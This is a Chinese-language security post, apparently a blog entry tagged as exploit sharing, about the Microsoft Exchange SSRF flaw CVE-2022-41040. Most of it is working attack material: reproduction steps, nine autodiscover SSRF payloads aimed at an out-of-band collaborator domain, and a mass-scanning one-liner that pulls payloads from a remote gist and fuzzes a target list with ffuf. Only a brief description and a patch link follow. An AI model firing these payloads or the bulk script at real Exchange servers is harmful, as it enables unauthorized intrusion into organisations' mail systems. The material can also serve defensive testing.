CVE-2022-41040 - Microsoft Exchange Server中的服务器端请求伪造(SSRF)

作者:Sec-Labs | 发布时间:

项目地址

 

手动复现

  1. 代替 COLLABHERE使用您的 OOB 域 - sed 's/COLLABHERE/<oob-domain>/g

  2. 在要测试的 URL 旁边添加有效负载 - echo http://target.com|unfurl format %s://%d/<payload>

  3. 访问添加payload的 URL

  4. 查看你的collaborator

有效载荷:

/autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE
/autodiscover/autodiscover.json/v1.0/aa@%d.v2.COLLABHERE?Protocol=Autodiscoverv1
/autodiscover/autodiscover.json/v1.0/aa..@%d.v3.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..@%d.v3.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
/autodiscover/autodiscover.json/v1.0/aa@%d.v4.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v4.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
/autodiscover/autodiscover.json?aa..%d.v5.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..%d.v5.COLLABHERE&Protocol=Autodiscoverv1&%d.v5.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa@%d.v6.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v6.COLLABHERE&Protocol=Autodiscoverv1&%d.v6.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa..%d.v7.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a..%d.v7.COLLABHERE&Protocol=Autodiscoverv1&%d.v7.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa@%d.v8.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a@%d.v8.COLLABHERE&Protocol=Autodiscoverv1&%d.v8.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@%d.v9.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell

批量exp

for url in $(curl -s https://gist.githubusercontent.com/kljunowsky/a2e8392f63fb8d7c0443f2011bce59ec/raw/7b4cabaa0dab7113b1cab00e1a2cb0c4e3c6ed06/cve-2022-41040-unfurl-payloads.txt|sed 's/COLLABHERE/<OOB-PAYLOAD>/g'); do cat targets.txt |unfurl format $url >> fuzz-ready.txt;done & ffuf -w fuzz-ready.txt -u FUZZ

 

漏洞详情

Microsoft Exchange Server是美国微软(Microsoft)公司的一套电子邮件服务程序。它提供邮件存取、储存、转发,语音邮件,邮件过滤筛选等功能。

Microsoft Exchange Server存在安全漏洞。攻击者利用该漏洞提升权限。

修复方案

目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-41040

标签:工具分享, 漏洞分享, EXP脚本